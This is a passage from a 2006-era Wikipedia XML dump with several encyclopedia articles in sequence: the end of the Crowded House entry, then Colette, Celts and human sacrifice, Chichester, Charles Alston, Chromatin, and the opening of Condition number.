* Paul Hester became a [[celebrity|television personality]] in Australia with his own [[primetime]] show called Hessie's Shed, and a stint on the short lived [[Mick Molloy Show]], though he mostly worked as a freelance drummer (e.g. for [[Tarmac Adam]]). He hosted the successful Australian cable music channel Music Max's Sessions series. After a long battle with [[clinical depression|depression]], Hester took his own life on [[March 26]], [[2005]] at age 46.  
* Nick Seymour produces bands in his studio in [[Dublin]]. 
* Mark Hart rejoined Supertramp.

==Crowded House song covers==
* In 1996, [[Belinda Carlisle]] covered &quot;She Goes On&quot; as &quot;He Goes On&quot; on her album ''Woman &amp; A Man''.
* In 1998, British performer [[Paul Young]] covered &quot;Don't Dream It's Over&quot;.
* In 1999, [[Australian Aborigine|Australian Aboriginal]] singer [[Jimmy Little]] recorded a cover version of &quot;Into Tempation&quot; for a rock/indie covers album entitled ''Messenger''.
* In 2000, [[Neuvo Flamenco]] musician [[Jesse Cook]] closed the album ''Free Fall'' with a cover of &quot;Fall At Your Feet&quot;.
* In 2002, [[Sixpence None the Richer]] covered &quot;Don't Dream It's Over&quot; for their [[2002]] album ''Divine Discontent'', which includes many other covers of other artists' works.
* In 2004, [[Busted]] performed a cover version of &quot;Fall At Your Feet&quot; as a B-side to the single &quot;Who's David&quot;.
* In 2005, ''She Will Have Her Way'', a cover album by a variety of female artists, was released featuring versions of Neil and Tim Finn songs from Crowded House, Split Enz, and the brothers' solo careers. Crowded House tracks include &quot;Better Be Home Soon&quot; by [[Kasey Chambers]], &quot;Don't Dream It's Over&quot; by [[Sarah Blasko]], and &quot;Pineapple Head&quot; by [[Natalie Imbruglia]]. A limited edition has a second disc which contains the original versions of the tracks.
* In 2005, [[James Blunt]] performed a cover version of &quot;Fall At Your Feet&quot; as a B-side to the single &quot;You're Beautiful&quot;.
* In 2005, [[Howie Day]] included his &quot;Don't Dream It's Over&quot; cover on his live album ''Live From...''.

==Singles Discography==   
{| class=&quot;wikitable&quot; style=&quot;float:right; margin:1em 0 1em 1em;&quot;
|-
! Year !! Title !! Danish charts !! [[UK Singles Chart]] !! US Charts !! US Modern Rock !! Album
|-
|[[1987]]||Don't Dream It's Over||#13||#27*||#2|| ||''Crowded House''
|-
|[[1987]]||Something So Strong|| || ||#7||||''Crowded House''
|- 
|[[1987]]||Now We're Getting Somewhere|| || ||#45||||''Crowded House''
|- 
|[[1988]]||Better Be Home Soon||#78|| ||#42||#29||''Temple of Low Men''
|-
|[[1991]]||Chocolate Cake||#62||#69||||#2||''Woodface''
|-
|[[1991]]||Fall At Your Feet|| ||#17||#75||||''Woodface''
|-
|[[1991]]||Weather With You||#23||#7||#45||||''Woodface''
|-
|[[1992]]||Four Seasons In One Day|| ||#26|| ||||''Woodface''
|-
|[[1992]]||It's Only Natural||#59||#24|| ||||''Woodface''
|-
|[[1993]]||Distant Sun||#70||#19|| ||||''Together Alone''
|-
|[[1993]]||Nails In My Feet|| ||#22|| ||||''Together Alone''
|-
|[[1994]]||Fingers of Love|| ||#25|| ||||''Together Alone''
|-
|[[1994]]||Pineapple Head|| ||#27|| ||||''Together Alone''
|-
|[[1994]]||Locked Out|| ||#13||||||''Together Alone''
|-
|[[1996]]||Instinct|| ||#12|| ||||''Recurring Dream''
|-
|[[1996]]||Not The Girl You Think You Are|| ||#20|| ||||''Recurring Dream''
|} 

* ''When reissued in the UK in 1996, &quot;Don't Dream It's Over&quot; peaked even higher, reaching #25.''
==Album Discography==
{| class=&quot;wikitable&quot; style=&quot;float:right; margin:1em 0 1em 1em;&quot;
|-
! Year !! Title !! DE !! UK !! US
|- bgcolor=&quot;#FFDEAD&quot;
|[[1987]]||'''[[Crowded House (album)|Crowded House]]'''||#45|| ||#12
|- bgcolor=&quot;#FFDEAD&quot;
|[[1988]]||'''[[Temple of Low Men]]'''||#82|| ||#35
|- bgcolor=&quot;#FFDEAD&quot;
|[[1991]]||'''[[Woodface]]'''||#26||#6||
|- bgcolor=&quot;#FFDEAD&quot;
|[[1993]]||'''[[Together Alone]]'''||#55||#4||
|- bgcolor=&quot;#FFDEAD&quot;
|[[1996]]||'''[[Recurring Dream]] - The Very Best of Crowded House'''||#57||#1||#83
|- bgcolor=&quot;#FFDEAD&quot;
|[[1999]]||'''[[Afterglow (album)|Afterglow]]'''||||#18||
|}


* Tracks on [[1996]]'s ''[[Recurring Dream]]: The Very Best of Crowded House''
**&quot;Weather With You&quot;
**&quot;World Where You Live&quot;
**&quot;Fall At Your Feet&quot;
**&quot;Locked Out&quot;
**&quot;Don't Dream It's Over&quot;
**&quot;Into Temptation&quot;
**&quot;Pineapple Head&quot;
**&quot;When You Come&quot;
**&quot;Private Universe&quot;
**&quot;Not the Girl You Think You Are&quot;
**&quot;Instinct&quot;
**&quot;I Feel Possessed&quot;
**&quot;Four Seasons in One Day&quot;
**&quot;It's Only Natural&quot;
**&quot;Distant Sun&quot;
**&quot;Something So Strong&quot;
**&quot;Mean to Me&quot;
**&quot;Better Be Home Soon&quot;
**&quot;Everything Is Good for You&quot;

==External links==
* [http://www.everything2.com/index.pl?node_id=79462 Crowded House biography on Everything2.com]
* [http://frenz.com Frenz of the Enz authorized fanclub]
* [http://www.somethingsofinn.com Something So Finn]
* [http://www.etext.org/lists/house/ Tongue in the mail]

[[Category:Australian musical groups]]
[[Category:New Zealand musical groups]]
[[Category:Rock music groups]]

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  <page>
    <title>Colette</title>
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      <text xml:space="preserve">[[Image:SidonieGabrielleColette.jpg|thumb|Colette]]{{French literature (small)}}
'''Colette''' was the pen name of the [[France|French]] [[novelist]] '''Sidonie-Gabrielle Colette''' ([[January 28]], [[1873]] &amp;ndash; [[August 3]], [[1954]]).

She was born in [[Saint-Sauveur-en-Puisaye]], [[Yonne]], in the [[Burgundy]] Region of [[France]], the daughter of Jules-Joseph Colette and Adele Eugenie Sidonie Landoy ('Sido'). In 1893 she married Henri Gauthier-Villars, who was 15 years her senior. Her first books, the ''[[Claudine]]'' series, were published under the pen name of her husband, 'Willy', writer, music critic, &quot;literary charlatan and degenerate&quot;,[http://www.kirjasto.sci.fi/colette.htm] who locked Colette in her room until she wrote the required number of pages. ''Claudine'' still has the power to charm; in ''belle epoque'' France it was downright shocking, much to Willy's satisfaction and profit.

She divorced the unfaithful Gauthier-Villars in 1906 and took up work in the [[music hall]]s of [[Paris]], under the wing of the Marquise de Belboeuf, known as Missy, with whom Colette was also romantically involved. (She wore a black velvet collar inscribed: &quot;I Belong to Missy&quot;). Among Colette's other friends and lovers were the famous American lesbian [[Natalie Barney]], and the Italian writer [[Gabriele D'Annunzio]]. On stage she caused a sensation, miming copulation on one occasion (which caused a riot at the Moulin Rouge), and baring a breast on another.

In 1912 Colette married [[Henri de Jouvenel]], the editor of the newspaper ''[[Le Matin]]''. The couple had one daughter, [[Colette de Jouvenel]], known to the family as Bel-Gazou. Colette de Jouvenel later stated that her mother did not want a child and left her daughter in the care of an English nanny, only rarely coming to visit her. In 1914, during [[World War I]], Colette was approached to write a ballet for the Opéra de Paris which she outlined under the title &quot;Divertissements pour ma fille&quot;.  After Colette herself chose [[Maurice Ravel]] to write the music, he reimagined the work as an opera, to which Colette agreed.  Ravel received the libretto to ''[[L'Enfant et les sortilèges]]'' in [[1918]], and it was first performed [[March 21]], [[1925]]. [http://www.laphil.org/resources/piece_detail.cfm?id=93] During the war she converted her husband's St. Malo estate into a hospital for the wounded, and was made a Chevalier of the Legion of Honour (1920). She divorced Henri de Jouvenel in 1924 after a much talked about affair with her stepson, [[Bertrand de Jouvenel]], and married [[Maurice Goudeket]] in 1935, making her full name Sidonie Gabrielle Claudine Colette Gauthier-Villars de Jouvenel Goudeket.

Post-war, her writing career bloomed following the publication of ''[[Chéri (novel)|Chéri]]'' (1920). Chéri tells a story of the end of a six-year affair between an aging retired [[courtesan]], Léa, and a pampered young man, Chéri. Turning stereotypes upside-down, it is Chéri who wears silk pyjamas and Léa's pearls, and who is the object of gaze. And in the end Léa demonstrates all the survival skills which Colette associates with feminity. (The story continued in ''The Last of Chéri'' (1951), which contrasts Léa's strength and Chéri's fragility, culminating in his suicide). After ''Cherie'' Colette entered the world of modern poetry and paintings centered around [[Jean Cocteau]], who was later her neighbor in [[Palais Royale]]. The relationship and life is vividly depicted in their books. By 1927 she was frequently acclaimed as France's greatest woman writer. &quot;It ... has no plot, and yet tells of three lives af three lives all that should be known,&quot; wrote [[Jannet Flanner]] of ''Sido'' on its publication in 1930. &quot;Once again, and at greater length length than usual, she has been hailed for her genius, hunmanities and perfect prose by those literary journals which years ago ... lifted nothing at all in her direction except the finger of scorn.&quot; She published around fifty [[novel]]s in total, many with autobiographical elements.  Her themes can be roughly divided into idyllic natural tales or dark struggles in relationships and love. All her novels were marked by clever observation and dialogue with an intimate, explicit style. Her most popular novel, ''[[Gigi]]'', was made into a [[Broadway theatre|Broadway]] play as well as a highly successful [[Hollywood]] [[motion picture]] with the title ''[[Gigi (1958 film)|Gigi]]'' starring [[Maurice Chevalier]], [[Louis Jourdan]], and [[Leslie Caron]].

A controversial figure throughout her life, Colette flaunted her lesbian affairs, and collaborated with the [[Vichy France|Vichy regime]] during [[World War II]] - while at the same time aiding her Jewish friends. She was a member of the [[Belgian Royal Academy]] (1935), president of the [[Edmond Louis Antoine Huot de Goncourt|Académie Goncourt]] (1945) (and the first woman to be admitted into it), and a Chevalier (1920) and a Grand Officier (1953) of the [[Légion d'honneur]]. When she died in [[Paris]] on [[August 3]], [[1954]], she was given a state funeral, although she was refused [[Roman Catholic]] rites because of her divorce.  Colette is interred in [[Le Père Lachaise Cemetery]] in Paris. 
[[Image:perelachaise-Colette-p1000342.jpg|thumb|Colette's tomb in [[Le Père Lachaise Cemetery]].]]

'''Her works include:'''
* ''[[Claudine à l'école]]'' (1900)
* ''[[Claudine à Paris]]'' (1901)
* ''[[Claudine en ménage]]'' (1902)
* ''[[Claudine s'en va]]'' (1903)
* ''[[Dialogues de Bêtes]]'' (1904)
* ''[[La Vagabonde]]'' (1910)
* ''[[L'Envers du music hall]]'' (1913)
* ''[[La Paix Chez les Bêtes]]'' (1916)
* ''[[L'Enfant et les sortilèges]]'' (1917, [[Maurice Ravel|Ravel]] opera [[libretto]])
* ''[[Mitsou]]'' (1919)
* ''[[Chéri (novel)|Chéri]]'' (1920)
* ''[[La Maison de Claudine]]'' (1922)
* ''[[Le Blé en Herbe]]'' (1923)
* ''[[La Fin de Chéri]]'' (1926)
* ''[[La Naissance du Jour]]'' (1928)
* ''Sido'' (1929)
* ''[[Le Pur et L'Impur]]'' (1932)
* ''[[La Chatte]]'' (1933)
* ''[[Duo]]'' (1934)
* ''[[Le Képi]]'' (1943)
* ''[[Gigi]]'' (1945)
* ''[[L'Étoile Vesper]]'' (1947)
* ''[[Le Fanal Bleu]]'' (1949)

==External links==
*[http://www.centre-colette.com Centre d'&amp;eacute;tudes Colette] 
*{{gutenberg author|id=Colette_Sidonie_Gabrielle|name=Colette}}
*[http://www.gutenberg.org/dirs/1/1/7/3/11737/11737-h/11737-h.htm ''Barks and Purrs''] ([[Child]]ren's book) at [[Project Gutenberg]]
*[http://www.colette.org/ Colette webpage (in French)]
*[http://www.kirjasto.sci.fi/colette.htm Source for some material used in this article]

[[Category:1873 births|Colette]]
[[Category:1954 deaths|Colette]]
[[Category:French novelists|Colette]]
[[Category:Bisexual writers]]
[[Category:Cat lovers|Colette]]
[[Category:Modernist women writers|Colette]]
[[Category:Opera librettists]]
[[Category:Natives of Bourgogne]]

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  <page>
    <title>Celts and human sacrifice</title>
    <id>6930</id>
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      <text xml:space="preserve">The [[Celts]] practised human sacrifice on a limited scale as part of their religious [[ritual]]s. Animal sacrifice was more commonplace along with ritual deposition of tools, weapons and jewelry. The evidence for human sacrifices comes from:

* Writings by Romans and Greeks often at second hand or hearsay
* Irish medieval texts 
* Archaeological data

All these sources are, however, open to interpretation and subject to bias.

[[Julius Caesar]] wrote in his ''[[Gallic Wars]]'': 

:''[The Gauls] believe that unless a man's life is paid for by another man's, the majesty of the immortal gods cannot be appeased. They use [[Wicker man|figures of immense size]], whose limbs, woven out of twigs, they fill them with living men and set on fire, and the men perish in a sheet of flame. They believe that the execution of those who have been caught in the act of theft or robbery is more pleasing to the immortal gods; but when the supply of victims fails they resort to the execution even of the innocent''

Ritualised decapitation survives in the archaeological record such as the example of 12 headless corpses at the French late Iron Age sanctuary of [[Gournay-sur-Aronde]].

[[Lindow man]] may be an example of a human sacrifice from the [[1st century|1st]] or [[2nd century]] AD, preserved in a [[peat bog]] in near perfect condition. The case for his sacrifice hinges on the three separate injuries he suffered. He was throttled, clubbed around the head and had his throat slit. This dovetails with the three-fold death detailed in medieval texts. [[Tollund Man]] has also been suggested as a bog sacrifice although both men may also have been executed criminals.

Iron Age societies may have developed highly ritualised judicial killings in order to both satisfy their gods and punish wrongdoers at the same time.

The [[Burning Man]] phenomenon of the Twentieth century recalls the wicker man described by Caesar.

==See also==
*[[Celtic mythology]]
*[[Wicker man]]
==External links==

* [http://www.bbc.co.uk/history/ancient/prehistory/human_sacrifice_02.shtml Bodies for the Gods: The Practice of Human Sacrifice]

[[Category:Celts]]
[[Category:Religious behaviour and experience]]
[[Category:Death]]</text>
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  <page>
    <title>Chichester</title>
    <id>6931</id>
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      <text xml:space="preserve">:''This article is about the city in England. For the town in [[New Hampshire]], see [[Chichester, New Hampshire]].''
{{infobox England place with map|
   |Place=             Chichester
   |Map =              Chichester - West Sussex dot.png
   |Population =       25,000
   |District=          [[Chichester (district)|Chichester]]
   |County=            [[West Sussex]]
   |Region=            [[South East England]]
   |Ceremonial=        [[West Sussex]]
   |Police=             Sussex Police Constabulary
   |Traditional=       [[Sussex]]
   |Constituency=       Chichester
   |PostalTown=        CHICHESTER
   |PostCode=          PO19 
   |DiallingCode=      01243
   |GridReference=     SU865045 
   |Euro=              [[South East England (European Parliament constituency)|South East England]]
}}



'''Chichester''' is a small [[city status in the United Kingdom|city]] in the south of [[England]], in the county of [[West Sussex]], with a population of about 25,000. 

It is the administrative centre of the [[Chichester (district)|Chichester]] district, a largely rural area with a population of over 100,000. It is also the [[county town]] of [[West Sussex]], home of West Sussex County Council.

The patron saint of The City of Chichester is [[Saint Giles]].

The City of Chichester is [[town twinning|twinned]] with:
*{{flagicon|France}} [[Chartres]], [[France]]
*{{flagicon|Italy}} [[Ravenna]], [[Italy]]



==History==
It has been argued that the area was a bridgehead for the [[Roman invasion of Britain]]. The city centre stands on the foundations of the Romano-British city of ''Noviomagus Reginorum'', capital of the ''Civitas Reginorum'', and near to the Roman Palace of [[Fishbourne]]. According to the [[Anglo-Saxon Chronicle]] it was captured towards the close of the fifth century, by [[Aelle of Sussex|Ælle]], and renamed after his son, [[Cissa of Sussex|Cissa]]. It was the chief city of the [[Kingdom of Sussex]]. The city streets have a cross-shaped layout, inherited from the Romans: radiating outwards from the medieval [[Chichester Cross|market cross]] lead the [[Cardinal directions|North]], [[Cardinal directions|South]], [[Cardinal directions|East]] and [[Cardinal directions|West]] shopping streets. Quite a lot of the [[Defensive wall|city walls]] are in place, and may be walked along for some of their length.

[[Chichester Cathedral|Chichester cathedral]] is dedicated to the [[Trinity|Holy Trinity]], and contains a shrine to Saint [[Richard of Chichester]]. Its spire, built of the weak local stone, collapsed suddenly and was rebuilt during the [[19th century]]. Within the nave of the [[cathedral]] can be seen the remains of a [[Roman architecture|Roman]] [[mosaic]] [[pavement (architecture)|pavement]]. The Cathedral is unusual in the UK in having a separate bell tower a few metres away from the main building, rather than integrated into it.

{| style=&quot;float: left&quot;
|-
|[[Image:Project Gutenberg eText 13495 470-1.png|thumb|180px|Chichester Cross, 1831 illustration]]
|[[Image:Chichester market cross 2002-07-15.jpg|thumb|180px|Chichester Cross, 2002]]
|}

==City==
The city is famous for the annual Chichester Festivities, a three-week arts and music festival held in July. The city is also home to the world-renowned [[Chichester Festival Theatre]] whose annual summer season attracts the highest calibre of actors, writers and directors and is widely considered one of the most important annual events in British theatre.

In more recent years the town has given birth to a growing music scene centred around several Pubs in the region. Local band [[Hope of the States]] released their debut album The Lost Riots in January 2005 to wide acclaim. Anthony Hegarty from [[Antony and the Johnsons]] fame was born in Chichester and attended the local school St Richards Roman Catholic Primary School before moving to New York.

==Schools==
Chichester is home to:
*[[Prebendal School]] established in [[1497]].

==Transport==
===Road===
*A259
*A27
===Rail===
On the main Southcoast line, used to be joined with [[Guildford]].

==Area==
Close to Chichester is the important Roman site of [[Fishbourne]], and [[Chichester Harbour]] to which the city was connected by the [[Chichester Canal]], currently under restoration.

3 miles north of Chichester is the [[RAF Tangmere]] airfield, which played an important role in [[World War 2]] during the [[Battle of Britain]]

== References ==
* Alec Down. ''Roman Chichester''. Chichester: Phillimore, 1988. ISBN 0850334357



==External links==
*[http://www.chichester.gov.uk Chichester District Council Website]
*[http://www.chichester-harbour.co.uk Chichester Harbour Website]
*[http://www.chichestersharks.co.uk   The website of Chichester Sharks Flag American Football team]
*[http://www.cft.org.uk/  The Website Of Chichester Festival Theatre]

{{English Cities}}

[[Category:Chichester| ]]
[[Category:Cities in England]]
[[Category:English county towns]]

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  <page>
    <title>Charles Alston</title>
    <id>6932</id>
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      <comment>Stub-sorting. [[Wikipedia:WikiProject Stub sorting|You can help!]]</comment>
      <text xml:space="preserve">[[Image:alston africa.jpg|thumb|260px|&quot;Again The Springboard Of Civilization&quot;, 1943 cartoon by Charles Alston featuring WWII African American soldier.]]

'''Charles Alston''' ([[November 28]], [[1907]] - [[April 27]], [[1977]]) was a [[teacher]] and [[artist]]. He directed the [[Harlem Art Workshop]] in the [[Great Depression]] and was mentor to [[Jacob Lawrence]] and others.  His [[1934]] &quot;Girl in a Red Dress&quot; uses such a vibrant red it reminds one of the [[Fauvists]] redux.

{{artist-stub}}
{{US-painter-stub}}

[[Category:1907 births|Alston, Charles]]
[[Category:1977 deaths|Alston, Charles]]
[[Category:American painters|Alston, Charles]]
[[Category:Modern painters|Alston, Charles]]
[[Category:African American artists]]

==External links==
*[http://posters-art.us/biography/Charles_Alston.html Charles Alston Biography]
*[http://www.fine-art-prints.ws/artists/srch/Charles+Alston Charles Alston Art Prints]</text>
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  <page>
    <title>Chromatin</title>
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      <comment>/* Junction between B- and Z-DNA */</comment>
      <text xml:space="preserve">'''Chromatin''' is found inside the nucleus of a cell. Chromatin is the structural building block of a [[chromosome]] and consists of a complex of [[DNA]] and [[protein]] in [[Eukaryote|eukaryotic]] [[cell (biology)|cells]].  It can be made visible by staining, hence its name, which literally means ''coloured material''.   The [[nucleic acid]]s are generally in the form of double-stranded DNA - i.e. the famous [[The Double Helix| DNA-double helix]].  The major [[protein]]s involved in chromatin are [[histone]] [[protein]]s but other non-histone chromosomal proteins are prominent too. DNA is packaged into chromatin thereby constraining the size of the molecule and allowing the cell to control [[gene expression|expression]] of the chromatin packaged genes. Changes in chromatin structure are affected mainly by [[methylation]] (DNA and proteins) and [[acetylation]] (proteins). Chromatin structure is also of importance to [[DNA replication]] and [[DNA repair]].

==  Introduction ==
[[image:chromatin_chromosome.png|thumb|280px|'''Fig. 1:''' Levels of DNA condensation. (1) DNA double-strand helix. (2) Chromatin strand (&lt;font color=&quot;#0000FF&quot;&gt;'''DNA'''&lt;/font&gt; with &lt;font color=&quot;#008000&quot;&gt;'''histones'''&lt;/font&gt;). (3) Condensed chromatin during [[interphase]] with &lt;font color=&quot;#FF0000&quot;&gt;'''centromere'''&lt;/font&gt;.  (4) Condensed chromatin during [[prophase]]. (Two copies of the DNA molecule are now present) (5) Chromosome during [[metaphase]].]]

Simplistically, there are three major levels of chromatin organization (Fig. 1):
#[[nucleosome]] - &quot;beads on a string&quot;
#30 nm condensed chromatin fiber consisting of nucleosome arrays in their most compact form
# The hierarchy continues with increasing DNA-packaging density until the metaphase [[chromosome]] is attained.

[[Spermatozoon|Sperm cell]] chromatin is an exception to the above.  During [[spermiogenesis]], the [[spermatid]]'s chromatin is remodelled into a more tightly packaged, compact, almost crystal-like structure.  This process is associated with the cessation of [[transcription (genetics)|transcription]] and involves [[cell nucleus|nuclear]] protein exchange.  The histones are mostly displaced, and replaced by [[protamine]]s, small, [[arginine]]-rich proteins.  

Two distinct types of chromatin can be distinguished:
*[[Euchromatin]]
*[[Heterochromatin]]

==  Levels of Chromatin Organization in Detail == 
[[Image:B&amp;Z&amp;A DNA formula.jpg|thumb|right|240px|'''Fig. 2:''' Alternative structural forms of DNA influencing chromatin structure]]

=== Chromatin &amp; Watson/Crick base pairing ===
Crick and Watson's famous structure of [[DNA]] (called B-DNA) is only one of three possible structural forms (Fig. 2).

For the C-N bond between a base and its sugar there are two different conformations. The anti-conformation occurs in all A- and B-DNAs as well as in Z-DNA where a Cytosine is present. 
In case of a Guanine Z-DNA takes the syn-conformation. The periodic change between a purine and pyrimidine along the strand of a Z-DNA accomplishes the alternating syn-anti-conformation characteristic of the zigzag structure of the Z-DNA helix. The yellow circles designated A, B, Z indicate the axes of the three possible types of DNA (Fig. 2).

[[Image:B&amp;Z junction DNA.jpg|thumb|240px| '''Fig. 3:''' Structure of DNA with two B-Z DNA junctions: It encompasses 1. breakage of a hydrogen-bond, where a Guanine rotates around its glycosyl-bond and the sugar thereby transforms into its syn-conformation. 2. Rotation of the corresponding second base (Cytosine) involving rotation of the  sugar around the sugar-phosphate-bond. 3. At the B-Z junction hydrogen-bonds remain broken and bases are extruded.]]

===Junction between B- and Z-DNA===
Chromatin regions near the transcription start site frequently contain DNA sequence motifs favourable for forming Z-DNA. Likewise, formation of Z-DNA near the promoter region stimulates transcription. Z-DNA is stabilized by binding specific proteins. Formation of Z-DNA fom B-DNA is a dynamic process where B-DNA is the relaxed state. When a Z-DNA segment is formed two B-Z junctions form (Fig.3). The crystal structure of such junctions is known. At each junction the hydrogen bonds between a Watson/Crick base-pair is broken and the bases are extruded. Extrusion of a base from the helix is a well-known reaction performed by enzymes (i.e. DNA glycosylase) that edit or repair DNA during Base Excision Repair (BER). Crystal structures of extruded bases co-crystallized with Hha1 methyltransferase, human DNA repair protein AGT(O(6)-alkylguanine-DNAalkyltransferase), or bacteriophage T4 endonuclease V are similar to the extruded bases at B-Z junctions. Z-DNA may also provide a sink to absorb torsional strain following an RNA polymerase or a transient nucleosome. Also Z-DNA may represent a signal for the recruitment of RNA-editing enzymes. It is possible that chromatin encompassing Z-DNA segments also affect replication.

=== The Nucleosome===
The basic repeat element of chromatin is the nucleosome. The nucleosome consists of a central protein complex, the histone octamer, and 1.7 turns of DNA, about 146 base pairs, which are wrapped around the histone octamer complex. There are four different types of core histone proteins which form the octamer containing two copies each of H2A, H2B, H3 and H4. Further, there is a linker histone, H1, which contacts the exit/entry of the DNA strand on the nucleosome. The nucleosome together with histone H1 is called a [[chromatosome]]. 

===''Beads-On-A-String'' [[Chromatosome]] Array===
[[Chromatosome]]s, connected by about 20 to 60 base pairs of a continuous linker DNA strand, form a 10 nm &quot;''beads-on-a-string''&quot; array (Fig. 1-2). 

===Higher order Chromatin Structure===
The higher order structure of the chromatin fiber in the cell is not known in detail. EM studies have demonstrated a fiber with a diameter of 30 nm which is highly dynamic such that it seems to unfold into a 10 nm fiber when transversed by an RNA polymerase engaged in transcription.

===Territorial Organization of Chromatin in the Cell Nucleus===
[[Image:Nucleus &amp; Chromatin Territorial Structure.jpg|thumb|280px|left| '''Fig. X:''' Hypothetical Model of the Territorial Organization of Chromatin in the Cell Nucleus]]

The diagram (Fig. X) represents a model of a cell (gray oval) with a nucleus (dark gray oval). Two chromosomes are shown as chromatin fibers (yellow and red lines). Proteins are represented as small ovals.

Note the association of the chromatin components with the nuclear membrane. Chromosomes are territorially interlinked by chromatin protein complexes (scaffold proteins see above).

== Non-Histone Chromosomal Proteins == 
The proteins that are found associated with isolated chromatin fall into several functional categories:
* chromatin-bound enzymes
* high mobility group (HMG) proteins
* transcription factors
* scaffold proteins

Enzymes associated with chromatin are those involved in DNA replication and repair, in transcription, and in post-translational modification of histones. Examples are various types of nucleases and proteases. Scaffold proteins  encompass chromatin proteins such as ''insulators'', domain ''boundary factors'' and ''cellular memory modules'' (CMMs).

== Chromatin: Alternative Definitions == 
#'''Simple &amp;  Concise Definition:''' Chromatin is DNA plus the proteins (and RNA) that package DNA within the cell nucleus.
#'''A Biochemists’ Operational Definition:''' Chromatin is the DNA/protein/RNA complex extracted from eukaryotic lysed interphase nuclei. Just which of the multitudinous substances present in a nucleus will constitute a part of the extracted material will depend in part on the technique each researcher uses. Furthermore, the composition and properties of chromatin vary from one cell type to the another, during development of a specific cell type, and at different stages in the cell cycle.
#'''The DNA plus Histone – Equals – Chromatin - Definition:''' The DNA double helix in the cell nucleus is packaged by special proteins termed histones. The formed protein/DNA complex is called chromatin. The structural entity of chromatin is the nucleosome. 

== History == 
In 1882 [[Walther Flemming]] used the term '''''Chromatin''''' for the first time. Flemming assumed that within the nucleus there was some kind of a ''nuclear-scaffold''. Further there were ''nucleoli'', the ''nuclear plasm'' and the ''nuclear membranes''. He wrote (transl. from German): “The scaffold owes its capability of refraction, the way how it behaves, and in particular its colorability to a substance which, with regard to its latter attribute, I have termed Chromatin. It is possible that this substance is really identical with the Nuclein-bodies. .... I’ll retain the name Chromatin as long as Chemistry has decided about it, and I empirically refer to it as that substance in the cell's nucleus which takes up the dye upon staining the nucleus (&quot;Kerntinktionen&quot;).

==  Nobel Prizes Related to Chromatin ==
[http://nobelprize.org/medicine/laureates/1910/index.html '''Albrecht Kossel'''] (University of Heidelberg) was awarded the Nobel Prize in Physiology or Medicine 1910 &quot;in recognition of the contributions to our knowledge of cell chemistry made through his work on proteins, including the nucleic substances&quot;.

[http://nobelprize.org/medicine/laureates/1933/index.html '''Thomas Hunt Morgan'''] (California Institute of Technology) was awarded the Nobel Prize in Physiology or Medicine 1933 &quot;for his discoveries concerning the role played by the chromosome in heredity&quot;.

[http://nobelprize.org/medicine/laureates/1962/ '''Francis Crick, James Watson, Maurice Wilkins'''] (MRC Laboratory of Molecular Biology, Harvard University, London University) were awarded the Nobel Prize in Physiology or Medicine 1962 &quot;for their discoveries concerning the molecular structure of nucleic acids and its significance for information transfer in living material&quot;.

[http://nobelprize.org/chemistry/laureates/1982/index.html '''Aaron Klug'''] (MRC Laboratory of Molecular Biology) was awarded the Nobel Prize in Chemistry 1982 &quot;for his development of crystallographic electron microscopy and his structural elucidation of biologically important nucleic acid-protein complexes&quot;.

== See also == 
*[[Chromosome]]
*[[Chromatid]]
*[[Genetics]]

== References== 
*Corces, V. G. 1995. Chromatin insulators. Keeping enhancers under control. Nature 376:462-463.
*Cremer, T. 1985. Von der Zellenlehre zur Chromosomentheorie: Naturwissenschaftliche Erkenntnis und Theorienwechsel in der frühen Zell- und Vererbungsforschung, Veröffentlichungen aus der Forschungsstelle für Theoretische Pathologie der Heidelberger Akademie der Wissenschaften. Springer-Vlg., Berlin, Heidelberg.
*Elgin, S. C. R. (ed.). 1995. Chromatin Structure and Gene Expression, vol. 9. IRL Press, Oxford, New York, Tokyo.
*Gerasimova, T. I., and V. G. Corces. 1996. Boundary and insulator elements in chromosomes. Current Op. Genet. and Dev. 6:185-192.
*Gerasimova, T. I., and V. G. Corces. 1998. Polycomb and Trithorax group proteins mediate the function of a chromatin insulator. Cell 92:511-521.
*Gerasimova, T. I., and V. G. Corces. 2001. CHROMATIN INSULATORS AND BOUNDARIES: Effects on Transcription and Nuclear Organization. Annu Rev Genet 35:193-208.
*Gerasimova, T. I., K. Byrd, and V. G. Corces. 2000. A chromatin insulator determines the nuclear localization of DNA [In Process Citation]. Mol Cell 6:1025-35.
*Ha, S. C., K. Lowenhaupt, A. Rich, Y. G. Kim, and K. K. Kim. 2005. Crystal structure of a junction between B-DNA and Z-DNA reveals two extruded bases. Nature 437:1183-6.
*Pollard, T., and W. Earnshaw. 2002. Cell Biology. Saunders.
*Saumweber, H. 1987. Arrangement of Chromosomes in Interphase Cell Nuclei, p. 223-234. In W. Hennig (ed.), Structure and Function of Eucaryotic Chromosomes, vol. 14. Springer-Verlag, Berlin, Heidelberg.
*Sinden, R. R. 2005. Molecular biology: DNA twists and flips. Nature 437:1097-8.
*Van Holde KE. [[1989]]. Chromatin. [[New York]]: [[Springer-Verlag]]. ISBN 0387966943.
*Van Holde, K., J. Zlatanova, G. Arents, and E. Moudrianakis. 1995. Elements of chromatin structure: histones, nucleosomes, and fibres, p. 1-26. In S. C. R. Elgin (ed.), Chromatin structure and gene expression. IRL Press at Oxford University Press, Oxford.

== External links == 

*[http://www.chromatin.co.uk Recent chromatin publications and news]
* [http://www.epigenome-noe.net/index.php Epigenome Network of Excellence (NoE)] 
[[image:Epigenome NoE tag1.gif]]


[[Category:Molecular genetics]]

[[bg:Хроматин]]
[[de:Chromatin]]
[[es:Cromatina]]
[[fi:Kromatiini]]
[[fr:Chromatine]]
[[he:כרומטין]]
[[hu:Kromatin]]
[[it:cromatina]]
[[ja:クロマチン]]
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[[pt:Cromatina]]
[[sl:Kromatin]]
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[[sv:Kromatin]]</text>
    </revision>
  </page>
  <page>
    <title>Condition number</title>
    <id>6934</id>
    <revision>
      <id>42055990</id>
      <timestamp>2006-03-03T14:24:59Z</timestamp>
      <contributor>
        <ip>24.183.58.196</ip>
      </contributor>
      <text xml:space="preserve">In [[numerical analysis]], the '''condition number''' associated with a numerical problem is a measure of 
that quantity's amenability to digital computation, that is, how
[[well-posed problem|well-posed]] the problem is.  A problem with a low condition number is said to be '''well-conditioned''', while a problem with a high condition number is said to be '''ill-conditioned'''.

==The condition number of a matrix==

For example, the condition number associated with the linear equation 
&lt;math&gt;Ax = b&lt;/math&gt; gives a bound on how inaccurate the solution &lt;math&gt;x&lt;/math&gt; will be after numerical solution.

